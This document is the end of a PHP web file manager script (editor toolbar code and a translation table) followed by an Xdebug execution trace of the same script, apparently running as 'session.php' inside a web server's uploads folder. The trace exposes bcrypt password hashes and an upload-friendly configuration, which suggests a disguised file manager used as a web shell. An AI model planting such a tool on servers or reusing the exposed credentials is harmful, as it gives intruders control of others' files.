Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
$modeEl.val( editor.getSession().$modeId );
$themeEl.val( editor.getTheme() );
$fontSizeEl.val(12).change(); //set default font size in drop down
}
$(function(){
renderThemeMode();
$(".js-ace-toolbar").on("click", 'button', function(e){
e.preventDefault();
let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
if(cmdValue && cmdValue != "none") {
ace_commend(cmdValue);
} else if(editorOption) {
if(editorOption == "fullscreen") {
(void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)
&&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());
} else if(editorOption == "wrap") {
let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
editor.getSession().setUseWrapMode(wrapStatus);
} else if(editorOption == "help") {
var helpHtml="";$.each(window.config.aceHelp,function(i,value){helpHtml+="<li>"+value+"</li>";});var tplObj={id:1028,title:"Help",action:false,content:helpHtml},tpl=$("#js-tpl-modal").html();$('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1028").modal('show');
}
}
});
$("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
e.preventDefault();
let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
if(selectedValue && selectionType == "mode") {
editor.getSession().setMode(selectedValue);
} else if(selectedValue && selectionType == "theme") {
editor.setTheme(selectedValue);
}else if(selectedValue && selectionType == "fontSize") {
editor.setFontSize(parseInt(selectedValue));
}
});
});
</script>
<?php
}
?>
<div id="snackbar"></div>
</body>
</html>
<?php
}
/**
* Language Translation System
* @param string $txt
* @return string
*/
function lng($txt)
{
global $lang;
// English Language
$tr['en']['AppName'] = 'File Manager';
$tr['en']['AppTitle'] = 'File Manager';
$tr['en']['Login'] = 'submit';
$tr['en']['Username'] = 'Username';
$tr['en']['Password'] = 'Password';
$tr['en']['Logout'] = 'Sign Out';
$tr['en']['Move'] = 'Move';
$tr['en']['Copy'] = 'Copy';
$tr['en']['Save'] = 'Save';
$tr['en']['SelectAll'] = 'Select all';
$tr['en']['UnSelectAll'] = 'Unselect all';
$tr['en']['File'] = 'File';
$tr['en']['Back'] = 'Back';
$tr['en']['Size'] = 'Size';
$tr['en']['Perms'] = 'Perms';
$tr['en']['Modified'] = 'Modified';
$tr['en']['Owner'] = 'Owner';
$tr['en']['Search'] = 'Search';
$tr['en']['NewItem'] = 'New Item';
$tr['en']['Folder'] = 'Folder';
$tr['en']['Delete'] = 'Delete';
$tr['en']['Rename'] = 'Rename';
$tr['en']['CopyTo'] = 'Copy to';
$tr['en']['DirectLink'] = 'Direct link';
$tr['en']['UploadingFiles'] = 'Upload Files';
$tr['en']['ChangePermissions'] = 'Change Permissions';
$tr['en']['Copying'] = 'Copying';
$tr['en']['CreateNewItem'] = 'Create New Item';
$tr['en']['Name'] = 'Name';
$tr['en']['AdvancedEditor'] = 'Advanced Editor';
$tr['en']['RememberMe'] = 'Remember Me';
$tr['en']['Actions'] = 'Actions';
$tr['en']['Upload'] = 'Upload';
$tr['en']['Cancel'] = 'Cancel';
$tr['en']['InvertSelection'] = 'Invert Selection';
$tr['en']['DestinationFolder'] = 'Destination Folder';
$tr['en']['ItemType'] = 'Item Type';
$tr['en']['ItemName'] = 'Item Name';
$tr['en']['CreateNow'] = 'Create Now';
$tr['en']['Download'] = 'Download';
$tr['en']['Open'] = 'Open';
$tr['en']['UnZip'] = 'UnZip';
$tr['en']['UnZipToFolder'] = 'UnZip to folder';
$tr['en']['Edit'] = 'Edit';
$tr['en']['NormalEditor'] = 'Normal Editor';
$tr['en']['BackUp'] = 'Back Up';
$tr['en']['SourceFolder'] = 'Source Folder';
$tr['en']['Files'] = 'Files';
$tr['en']['Move'] = 'Move';
$tr['en']['Change'] = 'Change';
$tr['en']['Settings'] = 'Settings';
$tr['en']['Language'] = 'Language';
$tr['en']['Folder is empty'] = 'Folder is empty';
$tr['en']['PartitionSize'] = 'Partition size';
$tr['en']['ErrorReporting'] = 'Error Reporting';
$tr['en']['ShowHiddenFiles'] = 'Show Hidden Files';
$tr['en']['Full size'] = 'Full size';
$tr['en']['Help'] = 'Help';
$tr['en']['Free of'] = 'Free of';
$tr['en']['Preview'] = 'Preview';
$tr['en']['Help Documents'] = 'Help Documents';
$tr['en']['Report Issue'] = 'Report Issue';
$tr['en']['Generate'] = 'Generate';
$tr['en']['FullSize'] = 'Full Size';
$tr['en']['FreeOf'] = 'free of';
$tr['en']['CalculateFolderSize'] = 'Calculate folder size';
$tr['en']['ProcessID'] = 'Process ID';
$tr['en']['Created'] = 'Created';
$tr['en']['HideColumns'] = 'Hide Perms/Owner columns';
$tr['en']['You are logged in'] = 'You are logged in';
$tr['en']['Check Latest Version'] = 'Check Latest Version';
$tr['en']['Generate new password hash'] = 'Generate new password hash';
$tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
$tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
// new - novos
$tr['en']['Advanced Search'] = 'Advanced Search';
$tr['en']['Error while copying from'] = 'Error while copying from';
$tr['en']['Nothing selected'] = 'Nothing selected';
$tr['en']['Paths must be not equal'] = 'Paths must be not equal';
$tr['en']['Renamed from'] = 'Renamed from';
$tr['en']['Archive not unpacked'] = 'Archive not unpacked';
$tr['en']['Deleted'] = 'Deleted';
$tr['en']['Archive not created'] = 'Archive not created';
$tr['en']['Copied from'] = 'Copied from';
$tr['en']['Permissions changed'] = 'Permissions changed';
$tr['en']['to'] = 'to';
$tr['en']['Saved Successfully'] = 'Saved Successfully';
$tr['en']['not found!'] = 'not found!';
$tr['en']['File Saved Successfully'] = 'File Saved Successfully';
$tr['en']['Archive'] = 'Archive';
$tr['en']['Permissions not changed'] = 'Permissions not changed';
$tr['en']['Select folder'] = 'Select folder';
$tr['en']['Source path not defined'] = 'Source path not defined';
$tr['en']['already exists'] = 'already exists';
$tr['en']['Error while moving from'] = 'Error while moving from';
$tr['en']['Create archive?'] = 'Create archive?';
$tr['en']['Invalid file or folder name'] = 'Invalid file or folder name';
$tr['en']['Archive unpacked'] = 'Archive unpacked';
$tr['en']['File extension is not allowed'] = 'File extension is not allowed';
$tr['en']['Root path'] = 'Root path';
$tr['en']['Error while renaming from'] = 'Error while renaming from';
$tr['en']['File not found'] = 'File not found';
$tr['en']['Error while deleting items'] = 'Error while deleting items';
$tr['en']['Invalid characters in file name'] = 'Invalid characters in file name';
$tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED';
$tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted';
$tr['en']['Error while fetching archive info'] = 'Error while fetching archive info';
$tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?';
$tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...';
$tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable';
$tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name';
$tr['en']['Operations with archives are not available'] = 'Operations with archives are not available';
$tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists';
$tr['en']['Moved from'] = 'Moved from';
$i18n = fm_get_translations($tr);
$tr = $i18n ? $i18n : $tr;
if (!strlen($lang)) {
$lang = 'en';
}
if (isset($tr[$lang][$txt])) {
return fm_enc($tr[$lang][$txt]);
} else {
if (isset($tr['en'][$txt])) {
return fm_enc($tr['en'][$txt]);
} else {
return "{$txt}";
}
}
}
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:25:06.971724]
1 0 1 0.000150 393528
1 3 0 0.003907 1292928 {main} 1 /var/www/html/uploads/session.php 0 0
1 A /var/www/html/uploads/session.php 3 $CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false,"theme":"light"}'
2 4 0 0.003950 1292928 define 0 /var/www/html/uploads/session.php 13 2 'VERSION' '2.4.7'
2 4 1 0.003965 1293032
2 4 R TRUE
2 5 0 0.003979 1292960 define 0 /var/www/html/uploads/session.php 16 2 'APP_TITLE' 'File Manager'
2 5 1 0.003993 1293064
2 5 R TRUE
1 A /var/www/html/uploads/session.php 23 $use_auth = TRUE
1 A /var/www/html/uploads/session.php 29 $auth_users = ['admin' => '$2y$10$K/u24DFrwZWJ56FaGjaorugF0.QAVt/BURMAfmyL8hP908MT2lF3K', 'user' => '$2y$10$ogM4dks22JuiOBKGEm9EC.E4tmKyTbsJGFtMfBqzwFvfhATn5VlY6']
1 A /var/www/html/uploads/session.php 36 $readonly_users = [0 => 'user']
1 A /var/www/html/uploads/session.php 40 $global_readonly = FALSE
1 A /var/www/html/uploads/session.php 44 $directories_users = []
1 A /var/www/html/uploads/session.php 47 $use_highlightjs = TRUE
1 A /var/www/html/uploads/session.php 51 $highlightjs_style = 'vs'
1 A /var/www/html/uploads/session.php 54 $edit_files = TRUE
1 A /var/www/html/uploads/session.php 58 $default_timezone = 'Etc/UTC'
1 A /var/www/html/uploads/session.php 62 $root_path = '/var/www/html'
1 A /var/www/html/uploads/session.php 66 $root_url = ''
1 A /var/www/html/uploads/session.php 69 $http_host = 'localhost'
1 A /var/www/html/uploads/session.php 73 $directories_users = []
1 A /var/www/html/uploads/session.php 76 $iconv_input_encoding = 'UTF-8'
1 A /var/www/html/uploads/session.php 80 $datetime_format = 'd.m.y H:i'
1 A /var/www/html/uploads/session.php 84 $allowed_file_extensions = ''
1 A /var/www/html/uploads/session.php 88 $allowed_upload_extensions = ''
1 A /var/www/html/uploads/session.php 93 $favicon_path = ''
1 A /var/www/html/uploads/session.php 97 $exclude_items = []
1 A /var/www/html/uploads/session.php 104 $online_viewer = 'google'
1 A /var/www/html/uploads/session.php 109 $sticky_navbar = TRUE
1 A /var/www/html/uploads/session.php 114 $max_upload_size_bytes = 5000
1 A /var/www/html/uploads/session.php 120 $ip_ruleset = 'OFF'
1 A /var/www/html/uploads/session.php 123 $ip_silent = TRUE
1 A /var/www/html/uploads/session.php 127 $ip_whitelist = [0 => '127.0.0.1', 1 => '::1']
1 A /var/www/html/uploads/session.php 133 $ip_blacklist = [0 => '0.0.0.0', 1 => '::']
1 A /var/www/html/uploads/session.php 138 $config_file = '/var/www/html/uploads/config.php'
2 6 0 0.004335 1292992 is_readable 0 /var/www/html/uploads/session.php 139 1 '/var/www/html/uploads/config.php'
2 6 1 0.004358 1293032
2 6 R FALSE
2 7 0 0.004373 1292992 define 0 /var/www/html/uploads/session.php 146 2 'MAX_UPLOAD_SIZE' 5000
2 7 1 0.004387 1293096
2 7 R TRUE
2 8 0 0.004401 1293024 define 0 /var/www/html/uploads/session.php 150 2 'FM_SESSION_ID' 'filemanager'
2 8 1 0.004415 1293128
2 8 R TRUE
2 9 0 0.004429 1293112 FM_Config->__construct 1 /var/www/html/uploads/session.php 154 0
2 A /var/www/html/uploads/session.php 3354 $fm_url = '/uploads/session.php'
2 A /var/www/html/uploads/session.php 3355 $this->data = ['lang' => 'en', 'error_reporting' => TRUE, 'show_hidden' => TRUE]
2 A /var/www/html/uploads/session.php 3360 $data = FALSE
3 10 0 0.004481 1293232 json_decode 0 /var/www/html/uploads/session.php 3362 1 '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false,"theme":"light"}'
3 10 1 0.004508 1293968
3 10 R class stdClass { public $lang = 'en'; public $error_reporting = FALSE; public $show_hidden = FALSE; public $hide_Cols = FALSE; public $calc_folder = FALSE; public $theme = 'light' }
3 11 0 0.004549 1293936 fm_object_to_array 1 /var/www/html/uploads/session.php 3362 1 class stdClass { public $lang = 'en'; public $error_reporting = FALSE; public $show_hidden = FALSE; public $hide_Cols = FALSE; public $calc_folder = FALSE; public $theme = 'light' }
4 12 0 0.004571 1293936 get_object_vars 0 /var/www/html/uploads/session.php 2705 1 class stdClass { public $lang = 'en'; public $error_reporting = FALSE; public $show_hidden = FALSE; public $hide_Cols = FALSE; public $calc_folder = FALSE; public $theme = 'light' }
4 12 1 0.004598 1293968
4 12 R ['lang' => 'en', 'error_reporting' => FALSE, 'show_hidden' => FALSE, 'hide_Cols' => FALSE, 'calc_folder' => FALSE, 'theme' => 'light']
3 A /var/www/html/uploads/session.php 2705 $obj = ['lang' => 'en', 'error_reporting' => FALSE, 'show_hidden' => FALSE, 'hide_Cols' => FALSE, 'calc_folder' => FALSE, 'theme' => 'light']
4 13 0 0.004639 1293936 array_map 0 /var/www/html/uploads/session.php 2707 2 'fm_object_to_array' ['lang' => 'en', 'error_reporting' => FALSE, 'show_hidden' => FALSE, 'hide_Cols' => FALSE, 'calc_folder' => FALSE, 'theme' => 'light']
5 14 0 0.004660 1294064 fm_object_to_array 1 /var/www/html/uploads/session.php 2707 1 'en'
5 14 1 0.004674 1294064
5 14 R 'en'
5 15 0 0.004687 1294384 fm_object_to_array 1 /var/www/html/uploads/session.php 2707 1 FALSE
5 15 1 0.004700 1294384
5 15 R FALSE
5 16 0 0.004713 1294384 fm_object_to_array 1 /var/www/html/uploads/session.php 2707 1 FALSE
5 16 1 0.004725 1294384
5 16 R FALSE
5 17 0 0.004738 1294384 fm_object_to_array 1 /var/www/html/uploads/session.php 2707 1 FALSE
5 17 1 0.004750 1294384
5 17 R FALSE
5 18 0 0.004762 1294384 fm_object_to_array 1 /var/www/html/uploads/session.php 2707 1 FALSE
5 18 1 0.004775 1294384
5 18 R FALSE
5 19 0 0.004787 1294384 fm_object_to_array 1 /var/www/html/uploads/session.php 2707 1 'light'
5 19 1 0.004800 1294384
5 19 R 'light'
4 13 1 0.004813 1294384
4 13 R ['lang' => 'en', 'error_reporting' => FALSE, 'show_hidden' => FALSE, 'hide_Cols' => FALSE, 'calc_folder' => FALSE, 'theme' => 'light']
3 11 1 0.004834 1294312
3 11 R ['lang' => 'en', 'error_reporting' => FALSE, 'show_hidden' => FALSE, 'hide_Cols' => FALSE, 'calc_folder' => FALSE, 'theme' => 'light']
2 A /var/www/html/uploads/session.php 3362 $data = ['lang' => 'en', 'error_reporting' => FALSE, 'show_hidden' => FALSE, 'hide_Cols' => FALSE, 'calc_folder' => FALSE, 'theme' => 'light']
2 A /var/www/html/uploads/session.php 3373 $this->data = ['lang' => 'en', 'error_reporting' => FALSE, 'show_hidden' => FALSE, 'hide_Cols' => FALSE, 'calc_folder' => FALSE, 'theme' => 'light']
2 9 1 0.004891 1293848
1 A /var/www/html/uploads/session.php 154 $cfg = class FM_Config { public $data = ['lang' => 'en', 'error_reporting' => FALSE, 'show_hidden' => FALSE, 'hide_Cols' => FALSE, 'calc_folder' => FALSE, 'theme' => 'light'] }
1 A /var/www/html/uploads/session.php 157 $lang = 'en'
1 A /var/www/html/uploads/session.php 160 $show_hidden_files = FALSE
1 A /var/www/html/uploads/session.php 163 $report_errors = FALSE
1 A /var/www/html/uploads/session.php 166 $hide_Cols = FALSE
1 A /var/www/html/uploads/session.php 169 $calc_folder = FALSE
1 A /var/www/html/uploads/session.php 172 $theme = 'light'
2 20 0 0.004981 1294224 define 0 /var/www/html/uploads/session.php 174 2 'FM_THEME' 'light'
2 20 1 0.004996 1294328
2 20 R TRUE
1 A /var/www/html/uploads/session.php 178 $lang_list = ['en' => 'English']
2 21 0 0.005020 1294256 ini_set 0 /var/www/html/uploads/session.php 185 2 'error_reporting' 32767
2 21 1 0.005036 1294392
2 21 R '22527'
2 22 0 0.005049 1294288 ini_set 0 /var/www/html/uploads/session.php 186 2 'display_errors' 0
2 22 1 0.005063 1294360
2 22 R ''
2 23 0 0.005076 1294288 set_time_limit 0 /var/www/html/uploads/session.php 194 1 600
2 23 1 0.005091 1294352
2 23 R FALSE
2 24 0 0.005104 1294320 date_default_timezone_set 0 /var/www/html/uploads/session.php 196 1 'Etc/UTC'
2 24 1 0.005125 1294376
2 24 R TRUE
2 25 0 0.005138 1294328 ini_set 0 /var/www/html/uploads/session.php 198 2 'default_charset' 'UTF-8'
2 25 1 0.005153 1294432
2 25 R 'UTF-8'
2 26 0 0.005165 1294328 version_compare 0 /var/www/html/uploads/session.php 199 3 '7.2.34-37+ubuntu22.04.1+deb.sury.org+1' '5.6.0' '<'
2 26 1 0.005182 1294424
2 26 R FALSE
2 27 0 0.005195 1294328 function_exists 0 /var/www/html/uploads/session.php 202 1 'mb_regex_encoding'
2 27 1 0.005208 1294368
2 27 R FALSE
2 28 0 0.005221 1294328 session_cache_limiter 0 /var/www/html/uploads/session.php 206 1 ''
2 28 1 0.005235 1294400
2 28 R 'nocache'
2 29 0 0.005248 1294328 session_name 0 /var/www/html/uploads/session.php 207 1 'filemanager'
2 29 1 0.005266 1294400
2 29 R 'PHPSESSID'
2 30 0 0.005280 1294328 set_error_handler 0 /var/www/html/uploads/session.php 216 1 'session_error_handling_function'
2 30 1 0.005295 1294368
2 30 R NULL
2 31 0 0.005307 1294328 session_start 0 /var/www/html/uploads/session.php 217 0
2 31 1 0.005358 1294840
2 31 R TRUE
2 32 0 0.005373 1294840 restore_error_handler 0 /var/www/html/uploads/session.php 218 0
2 32 1 0.005385 1294840
2 32 R TRUE
1 A /var/www/html/uploads/session.php 226 $is_https = FALSE
2 33 0 0.005410 1294840 fm_clean_path 1 /var/www/html/uploads/session.php 234 2 '' ???
3 34 0 0.005423 1294840 trim 0 /var/www/html/uploads/session.php 2439 1 ''
3 34 1 0.005435 1294872
3 34 R ''
2 A /var/www/html/uploads/session.php 2439 $path = ''
3 35 0 0.005458 1294840 trim 0 /var/www/html/uploads/session.php 2440 2 '' '\\/'
3 35 1 0.005472 1294912
3 35 R ''
2 A /var/www/html/uploads/session.php 2440 $path = ''
3 36 0 0.005494 1294840 str_replace 0 /var/www/html/uploads/session.php 2441 3 [0 => '../', 1 => '..\\'] '' ''
3 36 1 0.005511 1294936
3 36 R ''
2 A /var/www/html/uploads/session.php 2441 $path = ''
3 37 0 0.005532 1294840 get_absolute_path 1 /var/www/html/uploads/session.php 2442 1 ''
4 38 0 0.005545 1294840 str_replace 0 /var/www/html/uploads/session.php 2418 3 [0 => '/', 1 => '\\'] '/' ''
4 38 1 0.005560 1294936
4 38 R ''
3 A /var/www/html/uploads/session.php 2418 $path = ''
4 39 0 0.005582 1294840 explode 0 /var/www/html/uploads/session.php 2419 2 '/' ''
4 39 1 0.005595 1295288
4 39 R [0 => '']
4 40 0 0.005608 1295216 array_filter 0 /var/www/html/uploads/session.php 2419 2 [0 => ''] 'strlen'
5 41 0 0.005623 1295344 strlen 0 /var/www/html/uploads/session.php 2419 1 ''
5 41 1 0.005635 1295376
5 41 R 0
4 40 1 0.005647 1295344
4 40 R []
3 A /var/www/html/uploads/session.php 2419 $parts = []
3 A /var/www/html/uploads/session.php 2420 $absolutes = []
4 42 0 0.005680 1294896 implode 0 /var/www/html/uploads/session.php 2429 2 '/' []
4 42 1 0.005693 1294960
4 42 R ''
3 37 1 0.005705 1294840
3 37 R ''
2 A /var/www/html/uploads/session.php 2442 $path = ''
3 43 0 0.005727 1294840 str_replace 0 /var/www/html/uploads/session.php 2446 3 '\\' '/' ''
3 43 1 0.005741 1294936
3 43 R ''
2 33 1 0.005753 1294840
2 33 R ''
1 A /var/www/html/uploads/session.php 234 $root_url = ''
2 44 0 0.005776 1294888 define 0 /var/www/html/uploads/session.php 237 2 'FM_ROOT_URL' 'http://localhost'
2 44 1 0.005792 1294992
2 44 R TRUE
2 45 0 0.005805 1294984 define 0 /var/www/html/uploads/session.php 238 2 'FM_SELF_URL' 'http://localhost/uploads/session.php'
2 45 1 0.005820 1295088
2 45 R TRUE
2 46 0 0.005834 1295016 fm_show_header_login 1 /var/www/html/uploads/session.php 313 0
2 A /var/www/html/uploads/session.php 3509 $sprites_ver = '20160315'
3 47 0 0.005857 1295016 header 0 /var/www/html/uploads/session.php 3510 1 'Content-Type: text/html; charset=utf-8'
3 47 1 0.005874 1295192
3 47 R NULL
3 48 0 0.005886 1295160 header 0 /var/www/html/uploads/session.php 3511 1 'Expires: Sat, 26 Jul 1997 05:00:00 GMT'
3 48 1 0.005902 1295272
3 48 R NULL
3 49 0 0.005914 1295240 header 0 /var/www/html/uploads/session.php 3512 1 'Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0'
3 49 1 0.005930 1295392
3 49 R NULL
3 50 0 0.005942 1295360 header 0 /var/www/html/uploads/session.php 3513 1 'Pragma: no-cache'
3 50 1 0.005956 1295456
3 50 R NULL
3 51 0 0.005971 1295472 fm_enc 1 /var/www/html/uploads/session.php 3527 1 'File Manager'
4 52 0 0.005984 1295472 htmlspecialchars 0 /var/www/html/uploads/session.php 2649 3 'File Manager' 3 'UTF-8'
4 52 1 0.006000 1295744
4 52 R 'File Manager'
3 51 1 0.006015 1295632
3 51 R 'File Manager'
2 46 1 0.006142 1295440
2 53 0 0.006151 1295440 fm_get_theme 1 /var/www/html/uploads/session.php 319 0
2 A /var/www/html/uploads/session.php 3124 $result = ''
2 53 1 0.006174 1295440
2 53 R ''
2 54 0 0.006188 1295440 gethostbyname 0 /var/www/html/uploads/session.php 339 1 'Apache/2.4.52 (Ubuntu)'
2 54 1 0.006229 1295528
2 54 R 'Apache/2.4.52 (Ubuntu)'
2 55 0 0.006246 1295440 lng 1 /var/www/html/uploads/session.php 346 1 'Username'
2 A /var/www/html/uploads/session.php 4093 $tr['en']['AppName'] = 'File Manager'
2 A /var/www/html/uploads/session.php 4093 $tr['en']['AppTitle'] = 'File Manager'
2 A /var/www/html/uploads/session.php 4094 $tr['en']['Login'] = 'submit'
2 A /var/www/html/uploads/session.php 4094 $tr['en']['Username'] = 'Username'
2 A /var/www/html/uploads/session.php 4095 $tr['en']['Password'] = 'Password'
2 A /var/www/html/uploads/session.php 4095 $tr['en']['Logout'] = 'Sign Out'
2 A /var/www/html/uploads/session.php 4096 $tr['en']['Move'] = 'Move'
2 A /var/www/html/uploads/session.php 4096 $tr['en']['Copy'] = 'Copy'
2 A /var/www/html/uploads/session.php 4097 $tr['en']['Save'] = 'Save'
2 A /var/www/html/uploads/session.php 4097 $tr['en']['SelectAll'] = 'Select all'
2 A /var/www/html/uploads/session.php 4098 $tr['en']['UnSelectAll'] = 'Unselect all'
2 A /var/www/html/uploads/session.php 4098 $tr['en']['File'] = 'File'
2 A /var/www/html/uploads/session.php 4099 $tr['en']['Back'] = 'Back'
2 A /var/www/html/uploads/session.php 4099 $tr['en']['Size'] = 'Size'
2 A /var/www/html/uploads/session.php 4100 $tr['en']['Perms'] = 'Perms'
2 A /var/www/html/uploads/session.php 4100 $tr['en']['Modified'] = 'Modified'
2 A /var/www/html/uploads/session.php 4101 $tr['en']['Owner'] = 'Owner'
2 A /var/www/html/uploads/session.php 4101 $tr['en']['Search'] = 'Search'
2 A /var/www/html/uploads/session.php 4102 $tr['en']['NewItem'] = 'New Item'
2 A /var/www/html/uploads/session.php 4102 $tr['en']['Folder'] = 'Folder'
2 A /var/www/html/uploads/session.php 4103 $tr['en']['Delete'] = 'Delete'
2 A /var/www/html/uploads/session.php 4103 $tr['en']['Rename'] = 'Rename'
2 A /var/www/html/uploads/session.php 4104 $tr['en']['CopyTo'] = 'Copy to'
2 A /var/www/html/uploads/session.php 4104 $tr['en']['DirectLink'] = 'Direct link'
2 A /var/www/html/uploads/session.php 4105 $tr['en']['UploadingFiles'] = 'Upload Files'
2 A /var/www/html/uploads/session.php 4105 $tr['en']['ChangePermissions'] = 'Change Permissions'
2 A /var/www/html/uploads/session.php 4106 $tr['en']['Copying'] = 'Copying'
2 A /var/www/html/uploads/session.php 4106 $tr['en']['CreateNewItem'] = 'Create New Item'
2 A /var/www/html/uploads/session.php 4107 $tr['en']['Name'] = 'Name'
2 A /var/www/html/uploads/session.php 4107 $tr['en']['AdvancedEditor'] = 'Advanced Editor'
2 A /var/www/html/uploads/session.php 4108 $tr['en']['RememberMe'] = 'Remember Me'
2 A /var/www/html/uploads/session.php 4108 $tr['en']['Actions'] = 'Actions'
2 A /var/www/html/uploads/session.php 4109 $tr['en']['Upload'] = 'Upload'
2 A /var/www/html/uploads/session.php 4109 $tr['en']['Cancel'] = 'Cancel'
2 A /var/www/html/uploads/session.php 4110 $tr['en']['InvertSelection'] = 'Invert Selection'
2 A /var/www/html/uploads/session.php 4110 $tr['en']['DestinationFolder'] = 'Destination Folder'
2 A /var/www/html/uploads/session.php 4111 $tr['en']['ItemType'] = 'Item Type'
2 A /var/www/html/uploads/session.php 4111 $tr['en']['ItemName'] = 'Item Name'
2 A /var/www/html/uploads/session.php 4112 $tr['en']['CreateNow'] = 'Create Now'
2 A /var/www/html/uploads/session.php 4112 $tr['en']['Download'] = 'Download'
2 A /var/www/html/uploads/session.php 4113 $tr['en']['Open'] = 'Open'
2 A /var/www/html/uploads/session.php 4113 $tr['en']['UnZip'] = 'UnZip'
2 A /var/www/html/uploads/session.php 4114 $tr['en']['UnZipToFolder'] = 'UnZip to folder'
2 A /var/www/html/uploads/session.php 4114 $tr['en']['Edit'] = 'Edit'
2 A /var/www/html/uploads/session.php 4115 $tr['en']['NormalEditor'] = 'Normal Editor'
2 A /var/www/html/uploads/session.php 4115 $tr['en']['BackUp'] = 'Back Up'
2 A /var/www/html/uploads/session.php 4116 $tr['en']['SourceFolder'] = 'Source Folder'
2 A /var/www/html/uploads/session.php 4116 $tr['en']['Files'] = 'Files'
2 A /var/www/html/uploads/session.php 4117 $tr['en']['Move'] = 'Move'
2 A /var/www/html/uploads/session.php 4117 $tr['en']['Change'] = 'Change'
2 A /var/www/html/uploads/session.php 4118 $tr['en']['Settings'] = 'Settings'
2 A /var/www/html/uploads/session.php 4118 $tr['en']['Language'] = 'Language'
2 A /var/www/html/uploads/session.php 4119 $tr['en']['Folder is empty'] = 'Folder is empty'
2 A /var/www/html/uploads/session.php 4119 $tr['en']['PartitionSize'] = 'Partition size'
2 A /var/www/html/uploads/session.php 4120 $tr['en']['ErrorReporting'] = 'Error Reporting'
